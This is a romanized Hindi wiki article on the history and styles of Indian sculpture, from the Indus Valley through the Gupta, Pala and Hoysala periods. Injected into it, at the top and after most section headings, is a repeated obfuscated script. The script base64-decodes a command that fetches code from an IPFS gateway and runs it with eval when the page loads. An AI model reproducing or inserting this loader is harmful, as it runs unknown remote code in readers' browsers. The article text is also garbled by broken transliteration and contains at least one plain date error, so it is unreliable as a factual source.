भारतीय मूर्तिकला

chitr:Icon-edit.gif

is lekh ka punarikshan evan sampadan hona avashyak hai. ap isamean sahayata kar sakate haian. "sujhav"

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

thumb|180px|bodhisatv maitrey [[chitr:Buddha-3.jpg|thumb|140px|buddh, mathura]] bharatiy moortikala bharat ke upamahadvipoan ki sabhyataoan ki moortikala paranparaean, prakar aur shailiyaan ka sangam hai. moortikala bharatiy upamahadvip mean hamesha se kalatmak abhivyakti ka priy madhyam rahi hai. bharatiy bhavan prachur roop se moortikala se alankrit haian aur prayah ek-doosare se alag nahian kie ja sakate.

itihas

any kalaoan ke saman hi bharatiy moortikala bhi atyant prachin hai. yadyapi pashan kal mean bhi manav apane pashan upakaranoan ko kushalatapoorvak kat-chhaantakar vishesh akar deta tha aur patthar ke tuk de se phalak nikalate hetu 'dabav' takanik ya patakakar to dane ki takanik ka istemal karane laga tha, parantu bharat mean moortikala apane vastavik roop mean h dappa sabhyata ke dauran hi astitv mean aee. is sabhyata ki khudaee mean anek moortiyaan prapt huee haian jo lagabhag 4000 varsh poorv hi bharat mean moorti nirman takanik ke vikas ka dyotak haian.

bharatiy murtikala ki paranpa siandhu ghati sabhyata se phaili. us kal mean mitti ki chhoti moortiyaan banaee gee. maury kal (tisari shatabdi ee.poo.) ke mahanh golakar pashan stanbhoan aur utkirnit sianhoan ne doosari aur pahali shatabdi ee.poo. mean sthapit hiandoo aur bauddh prasangoan vali paripakv bharatiy akritimoolak moortikala ka marg prashast kiya.

shailiyoan aur paranparaoan ki vyapak shreni bharat ke vibhinn bhagoan mean shatabdiyoan tak phali-phooli, lekin nauvian-dasavian shatabdi tak ate-ate bharatiy moortikala ek aise roop mean pahuanch gee, jo ab tak mamooli parivartanoan ke sath bani huee hai. 10vian shatabdi se yah moortikala mukhyatah sthapatyiy alankaran ke ek bhag ke roop mean tulanatmak roop se chhoti v ausat shreni ki asankhya akritiyoan ko is prayojan ke lie banakar prayog ki jane lagi thi.

moortikala ka upayog

bharatiy moortikala ki vishay-vastu hamesha lagabhag kalpanik manav roop hote the, jo logoan ko hiandoo, bauddh ya jain dharm ke satyoan ki shiksha dene ke kam ate the. anavritt moorti ka prayog sharir ko atma ke pratik aur devataoan ke kalpit svaroopoan ko darshane ke lie kiya jata tha. moortiyoan mean hiandoo devataoan ke bahut se sir v bhujaean in devataoan ke vividh roopoan aur shaktiyoan ko darshane ke lie avashyak mane jate the.

pramukh shailiyaan

bharatiy moorti kala ki pramukh shailiyaan is prakar haian-

1. siandhu ghati sabhyata ki moorti kala
2. maury moortikala
3. mauryottar moortikala
4. gandhar kala ki moortiyaan
5. mathura kala ki moortiyaan
6. amaravati moortikala
7. guptakal moortikala
8. bakatak moortikala
9. madhyakal moortikala
10. chol moortikala
11. adhunik moortikala

vastukala evan moortikala

prachin aur madhyakalin bharatiy vastukala ke bare mean ek adbhut tathy yah hai ki moortikala usaka ek avibhajy aang thi. is sandarbh mean sidhu ghati ki sanskriti hi shayad ekamatr apavad hai, kyoanki usaki imaratean upayogitavadi haian, par unamean kalatmak kaushal nahian hai. ho sakata hai, samay ke sath unaki alankaramay sajavat nasht ho gee ho. halaanki moortikala vikasit thi.

siandhu ghati ki moortiyaan aur moharean

halaanki ise 'siandhu ghati' ya 'h dappa' sanskriti kaha gaya, par yah sabhyata isase jyada door-door tak phaili huee thi aur prakat roop se bahut vikasit thi. puratatvik sakshyoan ke adhar par, is sanskriti ke phalane-phoolane ke mukhy kal-usake paripakv shahari charan ke, 2100 se 1750 ee.poo. ke bich kabhi hone ka anuman hai, jabaki siandhu ghati ke prakar ki kalatmak vastuean mesopotamiya mean 2300 ee.poo. ke qarib tak mili haian. makanoan ke nirman mean samagri ki utkrishtata tatha durg, sammelan sabhagaroan, anaj ke godamoan karyashalaoan, chhatravasoan, bazaroan adi ki maujoodagi tatha adhunik jal nikas pranali vale bhavy nagaroan ke saman vaijnanik le-aut dekhakar yah nishkarsh nikala ja sakata hai ki us kal ki sanskriti kafi samriddh thi. svabhavik tha ki kala aur shilp us samaj mean unnat avastha mean the. is sabhyata ki kala ke bache namoonoan mean se sabase khoobasoorat shayad patali chh di jaise l daki ki laghu kaansy moorti hai, jisane apane hathoan mean ek katora pak da hua hai. choona patthar aur lal patthar ke do khandit dh d bhi haian. jo h dappa se mile the.

in sabhi moortishilpoan mean se sabase surakshit haian. ek vyakti ka 7 ianch ooancha sir aur kandha, jisake chehare par chhoti si dadhi aur barik kati huee mooanchhe haian tatha usaka sharir ek sh aaul mean lipata hai jo baean kandhe ke oopar aur daee baanh ke niche se hokar gayi hai, jo lagata hai ki kisi pujari ki chhavi hai. is moorti aur mohanajod do se mile any dadhi vale siroan tatha sumeriya ke moortisangrah mean kuchh samanata hai.

terakota ki vividh vastuean bhi hai. jinamean sabhi prakar ki chhoti-chhoti akritiyaan aur alag-alag akaroan aur dijainoan ke seramik patr shamil haian. mitti se bani janavaroan ki akritiyaan khasataur par bahut lubhavani lagati haian, jinhean khilaunoan ke roop mean bhi istemal kiya jata hoga, kyoanki vah khelane ke aandazamean bani haian aur chhoti-chhoti bhi haian. anek martabanoan aur katoroan par aise dijain chitrit haian, jinhean amataur par prakriti se liya gaya hai aur unaka sanbandh urvarata se hota hai.

siandhu kshetr mean payi gayi any bahut si vastuoan mean sil (muhar) ki anek chaukor chhoti-chhoti ve akritiyaan bhi thian jinhean kee prakar ke dijainoan mean abhichitrat kiya gaya tha. ye sil un logoan ki ho sakati thian jinhoanne inaka upayog sampatti chinhit karane athava any anubandhoan ko mazabooti pradan karane ke lie kiya hoga. prijm akar ki siloan ki ye akritiyaan sanbhavat: un anubandhoan ke rikard ke lie thian. kuchh siloan mean bail ki anek akritiyaan bani huee milian hai, jabaki kuchh any siloan mean any janavaroan ki akritiyaan thian. visheshajnoan ke matanusar, siloan mean abhichitrit akritiyaan vishv ke kuchh un mahanh uddhaharanoan mean haian jo tatkalin kalakaroan ki mahanh kshamata ko darshati haian. isase spasht hota hai ki us samay bhi kalatmak akar dene mean kalakaroan ka koee javab nahian tha. yadyapi ve kisi vishesh bailoan ki akritiyaan nahian haian, phir bhi ve vishesh prakar ki jatiyoan ka pratinidhitv karati thian. do hazar se adhik silean tatha char sau se adhik vibhinn prakar ki siloan ke any akar siandhu ghati mean paye gaye tathapi abhi bhi unake bare mean koee pusht abhilekh aur tatsanbandhi janakari anupalabdh hai. baharahal, prachin sabhyata sanbandhi hamara jnan kee pariprekshyoan mean abhi tak aparyapt hi hai.

mauryakalin kala

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

h dappa yug aur maury kal ke bich ke anek puratatvik avashesh hamare pas nahian haian. aisa sanbhavat: is vajay se hua, kyoanki us kal mean bhavan patthar ke nahian banate the. maury shasan kal hamare saanskritik itihas ka ek mahattvapoorn yug hai.

yadyapi mauryoan dvara nirmit bhavanoan ke avashesh hamare bich nahian haian par maury shasan kal ki kee batoan ka zikr grik itihasakar megasthanij ne apani pustak 'indika' mean kiya hai. isamean mauryo ki rajadhani pataliputr shahar ke vaibhav evan usaki satta ke bare mean bhi ullekh kiya gaya hai. pataliputr shahar das mil lanba aur do mil chau da tha, jo mazaboot lak di ki divaroan se ghira hua tha. usamean 500 t aauvar aur 64 daravaze the. usake bhitar shahi mahal tha jo apane akar mean eeran ke shahi mahal ki nakal par bana tha. chandragupt ke pautr ashok ne bauddh dharm apanaya aur kala tatha prachin sabhyata sanskriti ke vikas ke lie bauddh mishanariyoan ki gatividhiyoan ka vistar kiya. 1400 eesavi ke as-pas jab chini bauddh yatri fahyan bharat aya, tab usane shahi mahal ko kh de hue dekha tha. shahi mahal ke sath-sath divaroan daravajoan tatha any kalakritiyoan ko dekhakar vah itana prabhavit hua ki use vishvas hi nahian hua ki unaka nirman manav kalakaroan-chitrakaroan ke hathoan hua hoga.

ashok stanbh

ashok ne apane shasan kal mean stanbhoan ka nirman b de paimane par karaya tha. in stanbhoan ko usane bauddh dharm, sanskriti evan sabhyata ke prachar prasar ke sath any mahattvapoorn karyoan evan ghatanakramoan ke pratik ke roop mean lagavaya tha. ashok ke shasanakal ke dauran lagaye gaye shvet-bhoore patthar usake poore rajy mean dekhe ja sakate the. ashok dvara lagaye gaye un stanbhoan mean anek stanbhoan mean bauddh dharm ki ibaratean bhi likhi huee thian. stanbhoan ke madhyam se usane bauddh dharm ka prachar prasar kiya.

ashok ke shasan kal mean lage stanbh takariban 40 phit ooanche hote the. un stanbho mean kalakritiyaan bhi abhichitrit thian. unamean pushpadal, ghanti-jaisi akritiyoan ke sath sath janavar bhi chitrit hote the. stanbh ke charoan or janavaroan ki akritiyaan dikhayi deti thian. jinamean sianh bail athava hathi mukhyat: hote the.

ramapurava se mile vrishabhastanbh mean vrishabh ko kuchh is tarah se dikhaya gaya hai- jis tarah ke chitr siandhu ghati ki khudaee se prapt purani siloan par chitrit the. mana jata hai ki ve prachin panrapara ki ve ek k di ke roop mean haian. saranath, jahaan buddh ne apana pahala vyakhyan diya, vahaan sianh stanbh lage the. us stanbh mean bail, gho da, sianh aur hathi kramavar aankit the, unake bich mean chakr tha. jo vahan ka pratik tha. aisa lagata hai ki vah stanbh dharm ka vahan tha. yah stanbh mool roop se vishal patthar ka hai jisamean pahiye haian aur us stanbh ke oopar sianhoan ki akritiyaan aankit hai. us stanbh mean aankit akritiyaan prachin kal ka adbhut namoona haian aur usamean chitritr kalakritiyaan is khoobasoorati se dhili gayian ki jinaki prasiddhi aj bhi vidyaman hai. isi ke sath ve bharat ki prachin mahanh kalatmak upalabdhiyoan ki bhi parichayak haian.

bauddh stoop

ashok ke shasan kal ke pahale bhi bharat mean stoop jaisi chizean jnat thian. moolaroop se vaidik aryoan ne iantoan aur sadharan mitti se unaka nirman kiya tha. mauryakal ke pahale is tarah ke stoopoan ke udaharan nahian milate haian. ashok ke shasanakal mean buddh ke sharir ko dhyan mean rakhakar smriti chinhoan ka nirman kiya gaya aur yahi stoop pooja ke sadhan bane. bauddh kala aur dharm mean stoop ko bhagavan buddh ke smriti chinh ke roop mean svikar kiya gaya. stoop aandar se kachchi eetoan se tatha bahari khol pakki eetoan se banaye gaye aur phir unamean halka plastar chadhaya gaya. stoop ko oopar se lak di athava patthar ki chhatari se susajjit kiya gaya aur pradakshina ke lie charoan or lak di ka marg bhi banaya gaya.

manaviy akritiyaan

mauryakal ki manaviy akritiyoan ka pradarshan karane vali anek patthar ki kalakritiyaan bhi payi gayi haian. unamean ek hai- chauri mahila ki sanrakshit pratimoorti jo patana sangrahalay mean rakhi huee hai. yah moorti didaraganj ke nivasiyoan ko mili thi. usamean prayog ki gayi palish aur rakh-rakhav ki takanik nisandeh roop se maury kal ki hai.

is moorti ke sharir ke nichale hisse mean vastr haian. isake atirikt us mahila ne kanoan, bahoan aur gale mean b di matra mean abhooshan pahane hue haian. is pratimoorti ko bharatiy kala jagath ke vikas ki ek mahattvapoorn k di ke roop mean dekha jata hai. isi ke sath, chipake nichale vastr, vastrahin dh d evan prachoor abhooshan am ho gaye.

shuang-satavahan yug

mauryoan ke bad uttar bharat mean (184 eesa poorv) mukhyat: satta mean shuang rahe. satavahanoan ke pas dakshin pashchim kshetr tha. in donoan ke shasanakal mean kala rachanatmak gatividhi ke charan mean pahuanchi, jisane bauddh dharm ke sahare aur usako mukhy strot banate hue ghareloo kalatmak aandolan ka ek sath pratinidhitv kiya. is yug ko praranbhik kala ke roop mean kala ke itihas ka daura kaha jata hai. shuang-satavahan yug ki kala ka prabhav uttar bharat ke bodhagaya, saanchi aur bharahut mean bauddh ashramoan ke pravesh dvar aur reliang mean spasht roop se dekhane ko milata hai, jinhean stoop kaha jata hai, to pashchimi bharat mean pitalakhora, kondane aur bhaja mean patthar nirmit gupha-ashramoan ke chinh spasht parilakshit haian. bharatiy kala kshetr mean kala ka jo praranbhik daur hai vah kala ke vikas ka rachanatmak yug hai, jisaki niv is tarah se rakhi gayi ki vah bharatiy vastu aur shilp ke uchch bauddhik aur shahari star ke vikas mean sahayog kar sake. phir bhi kala ke vikas ka yah praranbhik daur saudaryapoorn aandolan ka yug raha jo kushan ke shasan kal mean kala ke vikas ke mahanatam yug mean pravisht hua.

kushan kal

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

kushan samrajy mean nirmit moortiyaan moortikala ka adbhut udaharan hai. samrajyavad ka kushan yug, itihas ka ek mahanatam aandolan raha hai, yah uttar poorvi bharat tatha pashchimi pakistan, (vartaman afaganistan) tak phaila tha. eesavian ki pahali shatabdi se tisari shatabdi ke bich kushan ek rajanitik satta ke roop mean vikasit hue aur unhoanne is dauran apane rajy mean kala ka bahumukhi vikas kiya. bharatiy kala jagath ka paripakv yug yahian se praranbh hota hai.

gaandhar moortikala shaili

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

gaandhar moortikala ki sabase utkrisht moorti vah hai- jisamean buddh ko ek yogi ke roop mean baithe hue dikhaya gaya tha. ek sannyasi ke vastr pahane unaka mastak is tarah se dikhayi de raha hai. jaise usamean adhyatmik shakti bikhar rahi ho, b di-b di aankhe, lalat par tisara netr aur sir par ubhar. ye tinoan sanket yah dikhate haian ki vah sab sun rahe haian, sab dekh rahe haian aur sab kuchh samajh rahe haian.

buddh ke tin roop

yadyapi buddh ke ye tinoan roop videshi kala dvara bhi prabhavit haian. baharahal shuddh roop se bharatiy pratit hoti yah moorti yah darshati hai ki kala ghareloo aur videshi tatvoan ka milajula roop hai. gaandhar kshetr ki kala ke jo mahattvapoorn tatv haian aur unaki jo shakti hai- vah uttar pashchimi bharat ki bauddh kala mean dekhi ja sakati hai aur yah prachin devataoan ka pratinidhitv evan unake roop dikhati haian. isi tarah ka prabhav khudaee se nikale pattharoan mean bhi dekha ja sakata hai, yah patthar chahe apani kalatmak shaili ya apane daiviy roop ko dikhate hoan lekin unaka roman vastukala se samrajyavadi samay se hi gahara sanbandh raha hai, moorti ki sthiti, sharir ka akar aur usaka vastu dhaancha spashtat: roman m aaudal par hi adharit hai.

mathura shaili

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

eesa kal ki pratham tin shatabdiyaan mathura shaili moortikala ka svarnik kal haian. mahayan bauddh dharm ke naye adarshoan ne tatkalin moorti shilpakaroan ko prerit kiya tha. bharatiy puratatvashastriyoan ke anusar, buddh moortiyoan ka nirman is shaili ke kalakaroan ka mahanh yogadan hai. in moortiyoan mean prayukt patthar saphed-lal tha, jo shatabdiyoan tak apani utkrisht kalatmak gunavatta ke roop mean vidyaman raha. yah shaili jainoan grikoan evan romanoan ki shailiyoan se bhi prabhavit thi. jain shaili dvara prabhavit ek stoop ki reliang mean chitrit ek akarshak mahila ki akritiya jo atyadhik abhooshanoan se yikt hai, prachin bharatiy kala ki yadagar aur ullekhaniy kalakriti sannyas aur dharmaparayanata ke sandarbh mean math ki ki in moortiyoan mean kahian bhi ashlilata aur kamotteanna ki bhavabhangima nahian dikhayi deti hai.

bharatiy kala ke itihas, mathura ki kushan kala mean isalie atyant mahattvapoorn hai, kyoanki usane pratikavad aur moorti shilpavad ko apanaya aur bad mean use svikar kar liya. udaharan ke lie, pahali bar mathura mean devi-devataoan ki moortiyoan ki rachana ki gayi. buddh moortiyoan ka prabhav charoan or phaila aur chin ke kala keanndroan tak pahuancha. is shaili ki kuchh ullekhaniy kalakritiyoan mean vema kadaphij aur kanishk ki moortiyaan, mahilaoan ke chitr sahit anek reliang stanbh, baithe hue kuber evan dhyanarat bauddh pratimaean pramukh haian.

guptakalin moortikala

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bharatiy kala ke itihas mean gupt kal ko isalie mahanh yug kaha jata hai- kyoanki kalakritiyoan ki sanpoornata aur paripakvata jaisi chizean isase pahale kabhi nahian rahian. is yug ki kalakritiyoan moortishilp, shaili evan sanpoornata, suandarata evan santulan jaise any kala tatvoan se susajjit huee.

gupt dharm se brahman the aur unaki bhakti vishesh roop se vishnu mean thi, kiantu unhoanne bauddh dharm aur jain dharm ke lie bhi udarata dikhayi. pauranik hiandoo dharm mean tin devata haian vishnu, shiv evan shakti. shiv ke prati unamean vishesh anurag tha yani shiv agrani devata the. yadyapi dakshin aur poorv mean shaivavad ka vikas hua tatha dakshin-pashchim malabar ke kuchh bhagoan mean evan poorvi bharat mean shaktivad ka vikas hua krishna par adharit vaishnavavad tha jo mukhyat: bharat ke uttari evan madhyam bhag mean keandrit raha. in sabhi dharmik devataoan ki pooja sab jagah hoti rahi aur unake mandir evan unaki moortiyaan sab jagah pratishthapit huee.

gupt kala adhyatmik gunoan se yukt hai aur usaki drishti bhi jivan ki gahan sachchaee ko darshati hai. yadyapi guptakal ka praranbhik daur hiandoo kala par zor deta hai, jabaki bad ka yug bauddh kala ka shikhar yug hai, jo sabhi prachin kalaoan aur unaki manobhavana v gunavatta ka dyotak hai. hiandoo kala ne chandragupt dvitiy ke shasanakal ke dauran vidisha aanchal mean hi unnati ki.

moortiyaan

gupt moorti kala ki saphalata praranbhik madhyakal ki pratikatmak chhavi evan kushan yug ki kalapoorn chhavi ke madhy nirmit ek santulan par adharit haian.

hiandoo, bauddh evan jain kalakritiyaan madhy bharat sahit desh ke anek bhagoan mean payian. ye moortikala mean advitiy haian. besanagar se ganga ki moorti, gvaliyar se u dati huee apasraoan ki moorti, soandani se mili hava mean laharate gandharv yugal ki moorti, khoh se prapt ekamukh liang aur bhumara se any kee prakar ki mili moortiyaan usi suandarata, parikalpana aur santulan ko pradarshit karati haian. jaisa ki saranath mean dekha jata hai.

bhagavan harihar ki manavakar pratima madhy pradesh mean mili hai. anuman hai yah paanchavi eesvi ke poorvaddh ki rachana hai. vishnu ka athavaan avatar kahe ge krishna ki pratimaean bhi 5 vian sadi ee. ke aranbhik kal se mil rahi haian. varanasi se prapt ek moorti mean unhean krishna govardhanadhari ke roop mean aankit kiya gaya hai. jisamean unhean baean hath ke sahare govardhan parvat uthae dikhaya gaya hai. jisake niche vriandavanavasi jal pralay se bachane ke lie ekatrit hue the. vah bhayavah jalavrishti iandr ne bheji thi, jo vriandavan vasiyoan ki apane prati upeksha se krodhit ho uthe the.

buddh ki pratimaean

guptakalin moortishilp mean buddh dharm ka shaanti adarsh atyant bhavyata se buddh ki moortiyoan mean abhivyakt hua hai. unake chahare ki bhav mudra aur muskan us param samarasata ki anubhooti ko darshati hai, jise us mahajnani ne prapt kiya tha. in moortiyoan ke shilp ki har rekha mean sauandary aur bhav ka paramparagat svaroop darshaya gaya hai. kayik sthiti, hast mudraean aur any sabhi lakshan pravriti-pratikoan ke roop mean upasthit haianmastak aandakar bhauanhe kaman jaisi, palakean kamal ki pankhu diyaan, adhar amraphal ki tarah, kandhoan ki golaee hastishund jaisi, kati sianh ki aur uangaliyaan phooloan jaisi.

saanchi ke vishal stoop ke pravesh dvaroan par paanchavi sadi mean rakhi gayi buddh ki char pratimaean us komalata, lality aur prashaanti ko darshati haian, jo samriddh aur paripakv guptakalin shilp vidha ki visheshataean haian. buddh ki kaya ki rooparekhaoan mean darshit lalityapoorn anukoolan moortishilp ke us vikas kram ko vyakt karata hai, jise praranbhik guptakalin koniy svaroop ka agala charan kaha ja sakata hai. buddh ki pratimaean mathura mean bhi mili haian, jo bauddh dharm ka susampann kendr raha tha. inamean ek sabase prachin pratima 5vian sadi ee. ki hai, jo poorvavarti pratimaoan ke bhari ayatan apanane ke bavajood kushanakalin adiroopoan se drishtiyoan se bhinn hai. shakyamuni ki utkirn uttishth mudra mean pratima poornat: bhikshu ke paridhan mean haian, jisaki tahean samanaantar chhalloan mean darshit haian. buddh ke sir ki pichhe prabhamandal bhi banaya gaya hai. is kal mean bauddh moortishilp ka ek any sakriy kendr saranath tha, jahaan buddh ki kh di aur baithi pratimaean banaee gee. saranath ke khandaharoan mean mili buddh ki apekshakrit adhik ubhar vali moorti ko guptakalin moortikala ka sarvasuandar aur bhavy pratiman kaha ja sakata hai. halke rang ke bulee patthar se bani is pratima mean buddh ko baithakar apana pratham upadesh dete hue darshaya gaya hai. pratima ki pithika ke niche ghutanoan ke bal jhuke hue do bhikshuk ko nyayachakr ki pooja karate dikhaya gaya hai. is nyay chakr ko buddhi ka pratik manate haian. saranath ki is buddh pratima mean utkrishtata se chitrit prabhamandal isaki visheshata hai.

yadyapi bhittichitr ajanta ki sarvadhik mahattvapoorn kalakritiyaan haian, par guha mandir ka sthapaty shilp aur pravesh dvaroan par naqqashi bhi asadharan hai. in mandir mean jo shailiyaan moolaroop se chinaee aur kashth kala ropoan mean vikasit huee, unhean samakalin chattanoan se tarash gaya tha. ye kritiyaan asankhy aur vividh shaili ki haian aur inhean bina kisi ekikrit niyojan ke pravesh agrabhagoan par aankit kiya gaya hai.

pal moortikala shaili

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

• pal shaili ki visheshata isaki moortiyoan mean parilakshit aantim parishkar hai.
• bihar aur bangal ke pal aur sen shasakoan ke samay mean bauddh aur hiandoo donoan ne hi suandar moortiyaan banaee.
• is moortiyoan ke lie kale baisalt pattharoan ka prayog kiya gaya hai.
• moortiyaan atisajjit aur achchhi p aaulish ki huee haian- mano ve patthar ki n hokar dhatu ki bani hoan.

hoyasal moortikala shaili

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

hoyasal shaili (1050-1300ee) ka vikas karnatak ke dakshin kshetr mean hua. aisa kaha ja sakata hai ki hoyasal kala aranbh aihol, badami aur pattadakal ke praranbhik chaluky kalin mandiroan mean hua, lekin maisoor kshetr mean vikasit hone ke pashchath hi isaka vishisht svaroop pradarshit hua, jise hoyasal shaili ke nam se jana gaya. apani prasiddhi ke charamakal mean is shaili ki ek pramukh visheshata sthapaty ki yojana aur samany vyavasthapan se ju di hai.

hoyasal mandir

vastavik vastuyojana ke hisab se hoyasal mandir keshav mandir aur halebid ke mandir somanathapur aur any doosaroan se bhinn haian. stambh vale kaksh sahit aantargrih ke sthan par isamean bicho bich sthit stanbh vale kaksh ke charoan taraph bane anek mandir haian, jo tare ki shakl mean bane haian.

kee mandiroan mean dohari sanrachana payi jati hai. isake pramukh aang dohaian aur niyojan mean pray: tin char aur yahaan tak ki paanch bhi haian. har garbhagrih ke oopar bane shikhar ko jaise-jaise oopar badhaya gaya hai, usamean a di rekhaoan aur sajja se nayapan laya gaya haian, jo shikhar ko kee staroan mean baantate haian aur yah dhare-dhire kam ghere vala hota jata hai. vastut: hoyasal mandir ki ek vishishtata sanpoorn bhavan ki sapeksh laghuta hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh